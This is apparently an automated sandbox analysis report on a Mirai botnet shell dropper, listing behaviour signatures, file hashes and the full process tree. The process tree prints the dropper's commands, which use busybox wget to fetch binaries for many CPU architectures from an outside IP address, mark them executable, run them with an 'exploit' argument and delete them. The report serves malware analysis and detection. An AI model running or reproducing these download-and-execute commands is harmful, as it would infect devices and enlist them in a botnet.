Analysis

  • max time kernel
    125s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-02-2025 03:33

General

  • Target

    dd5851b5ab04287b30ed4d1bed6f7940d256849c8d6cfc9936df59afa4c328aa.sh

  • Size

    1KB

  • MD5

    d011eee1c3ee60b1a1db3ae1e9e65ad6

  • SHA1

    18f4cee16484157375f8bbcf21acca220a258d66

  • SHA256

    dd5851b5ab04287b30ed4d1bed6f7940d256849c8d6cfc9936df59afa4c328aa

  • SHA512

    ed73548c60e65449f31d4bc5ca644d2f59e72d0843a24b3236707338fbed8e26ed608897d0c5a26a971357e7d28b92a9ecb6d8d76d5f7d55e93bf0aa3dd3f6ac

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (171175) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Renames itself 2 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 40 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dd5851b5ab04287b30ed4d1bed6f7940d256849c8d6cfc9936df59afa4c328aa.sh
    /tmp/dd5851b5ab04287b30ed4d1bed6f7940d256849c8d6cfc9936df59afa4c328aa.sh
    1⤵
    • Executes dropped EXE
    PID:657
    • /bin/busybox
      /bin/busybox wget http://193.143.1.32/jklarm -O jklarm
      2⤵
      • Writes file to tmp directory
      PID:659
    • /bin/busybox
      /bin/busybox chmod +x jklarm
      2⤵
      • File and Directory Permissions Modification
      PID:688
    • /tmp/jklarm
      ./jklarm exploit
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Renames itself
      • Enumerates active TCP sockets
      • Reads process memory
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:689
    • /bin/busybox
      /bin/busybox rm -rf jklarm
      2⤵
        PID:691
      • /bin/busybox
        /bin/busybox wget http://193.143.1.32/jklarm5 -O jklarm5
        2⤵
        • Writes file to tmp directory
        PID:693
      • /bin/busybox
        /bin/busybox chmod +x jklarm5
        2⤵
        • File and Directory Permissions Modification
        PID:717
      • /tmp/jklarm5
        ./jklarm5 exploit
        2⤵
        • Deletes itself
        • Modifies Watchdog functionality
        • Renames itself
        • Enumerates active TCP sockets
        • Reads process memory
        • Changes its process name
        • Reads system network configuration
        • Reads runtime system information
        PID:718
      • /bin/busybox
        /bin/busybox rm -rf jklarm5
        2⤵
          PID:774
        • /bin/busybox
          /bin/busybox wget http://193.143.1.32/jklarm6 -O jklarm6
          2⤵
          • Writes file to tmp directory
          PID:776
        • /bin/busybox
          /bin/busybox chmod +x jklarm6
          2⤵
          • File and Directory Permissions Modification
          PID:779
        • /tmp/jklarm6
          ./jklarm6 exploit
          2⤵
            PID:780
          • /bin/busybox
            /bin/busybox rm -rf jklarm6
            2⤵
              PID:781
            • /bin/busybox
              /bin/busybox wget http://193.143.1.32/jklarm7 -O jklarm7
              2⤵
                PID:782
              • /bin/busybox
                /bin/busybox chmod +x jklarm7
                2⤵
                • File and Directory Permissions Modification
                PID:783
              • /tmp/jklarm7
                ./jklarm7 exploit
                2⤵
                  PID:784
                • /bin/busybox
                  /bin/busybox rm -rf jklarm7
                  2⤵
                    PID:785
                  • /bin/busybox
                    /bin/busybox wget http://193.143.1.32/jklm68k -O jklm68k
                    2⤵
                      PID:786
                    • /bin/busybox
                      /bin/busybox chmod +x jklm68k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:787
                    • /tmp/jklm68k
                      ./jklm68k exploit
                      2⤵
                        PID:788
                      • /bin/busybox
                        /bin/busybox rm -rf jklm68k
                        2⤵
                          PID:789
                        • /bin/busybox
                          /bin/busybox wget http://193.143.1.32/jklmips -O jklmips
                          2⤵
                          • System Network Configuration Discovery
                          PID:790
                        • /bin/busybox
                          /bin/busybox chmod +x jklmips
                          2⤵
                          • File and Directory Permissions Modification
                          PID:791
                        • /tmp/jklmips
                          ./jklmips exploit
                          2⤵
                          • System Network Configuration Discovery
                          PID:792
                        • /bin/busybox
                          /bin/busybox rm -rf jklmips
                          2⤵
                          • System Network Configuration Discovery
                          PID:793
                        • /bin/busybox
                          /bin/busybox wget http://193.143.1.32/jklmpsl -O jklmpsl
                          2⤵
                            PID:794
                          • /bin/busybox
                            /bin/busybox chmod +x jklmpsl
                            2⤵
                            • File and Directory Permissions Modification
                            PID:795
                          • /tmp/jklmpsl
                            ./jklmpsl exploit
                            2⤵
                              PID:796
                            • /bin/busybox
                              /bin/busybox rm -rf jklmpsl
                              2⤵
                                PID:797
                              • /bin/busybox
                                /bin/busybox wget http://193.143.1.32/jklppc -O jklppc
                                2⤵
                                  PID:798
                                • /bin/busybox
                                  /bin/busybox chmod +x jklppc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:799
                                • /tmp/jklppc
                                  ./jklppc exploit
                                  2⤵
                                    PID:800
                                  • /bin/busybox
                                    /bin/busybox rm -rf jklppc
                                    2⤵
                                      PID:801
                                    • /bin/busybox
                                      /bin/busybox wget http://193.143.1.32/jklsh4 -O jklsh4
                                      2⤵
                                        PID:802
                                      • /bin/busybox
                                        /bin/busybox chmod +x jklsh4
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:803
                                      • /tmp/jklsh4
                                        ./jklsh4 exploit
                                        2⤵
                                          PID:804
                                        • /bin/busybox
                                          /bin/busybox rm -rf jklsh4
                                          2⤵
                                            PID:805
                                          • /bin/busybox
                                            /bin/busybox wget http://193.143.1.32/jklspc -O jklspc
                                            2⤵
                                              PID:806
                                            • /bin/busybox
                                              /bin/busybox chmod +x jklspc
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:807
                                            • /tmp/jklspc
                                              ./jklspc exploit
                                              2⤵
                                                PID:808
                                              • /bin/busybox
                                                /bin/busybox rm -rf jklspc
                                                2⤵
                                                  PID:809
                                                • /bin/busybox
                                                  /bin/busybox wget http://193.143.1.32/jklx86 -O jklx86
                                                  2⤵
                                                    PID:810
                                                  • /bin/busybox
                                                    /bin/busybox chmod +x jklx86
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:811
                                                  • /tmp/jklx86
                                                    ./jklx86 exploit
                                                    2⤵
                                                      PID:812
                                                    • /bin/busybox
                                                      /bin/busybox rm -rf jklx86
                                                      2⤵
                                                        PID:813
                                                      • /bin/busybox
                                                        /bin/busybox wget http://193.143.1.32/jklarc -O jklarc
                                                        2⤵
                                                          PID:814
                                                        • /bin/busybox
                                                          /bin/busybox chmod +x jklarc
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:815
                                                        • /tmp/jklarc
                                                          ./jklarc exploit
                                                          2⤵
                                                            PID:816
                                                          • /bin/busybox
                                                            /bin/busybox rm -rf jklarc
                                                            2⤵
                                                              PID:817
                                                            • /bin/busybox
                                                              /bin/busybox rm -rf wget.sh
                                                              2⤵
                                                                PID:818

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/jklarm

                                                              Filesize

                                                              54KB

                                                              MD5

                                                              60323049a9468c264a9535600a053b6e

                                                              SHA1

                                                              960ec393b1590fee232414d8d8f279b189573b6f

                                                              SHA256

                                                              3ac4757c406bac2bedd2771c5c137607e2788099782ca939cb40c32aa2c71343

                                                              SHA512

                                                              e1e33d7bf40b34e4a90a88b2ada4822dc150ae705ae118f2a169f1dc427a4bad4fcc6a0e3e668483024395ae9005d2bef1ac82952774b359063dbc6f32e44954

                                                            • /tmp/jklarm5

                                                              Filesize

                                                              54KB

                                                              MD5

                                                              368f814e3fcc026df077492406916cfb

                                                              SHA1

                                                              94a499401b79d75a6c1df3eb205dc44057425f5b

                                                              SHA256

                                                              4cb919fe578f5a95e86157987898bb2959019260992578f42e7abd79f3d864ce

                                                              SHA512

                                                              e334932543ea5bead5ea96f13191f967e63893b92ffa2fe6793afe5d39615f46c2b62ab4ff8846f78cffeb32dd51ae6a88ba36dd59cab8da75a1cbd0f1b842cc

                                                            • /tmp/jklarm6

                                                              Filesize

                                                              65KB

                                                              MD5

                                                              3efe981dfb09404a90020f31b91a0d99

                                                              SHA1

                                                              75dad217f8faab13473fa87f1f90cfab16646e67

                                                              SHA256

                                                              b0200c4648356ccc6af1711e1673c133c8f785611b10d49f925958507bb8b213

                                                              SHA512

                                                              6f5068a4d9fa7e6db711cb6207a3316a24d58d68e6996e211d6a10ac5eee3b67adbd8677d7f4061eac2476b5596c9c767055ab3a19bcf569137c7ca3ed8177fc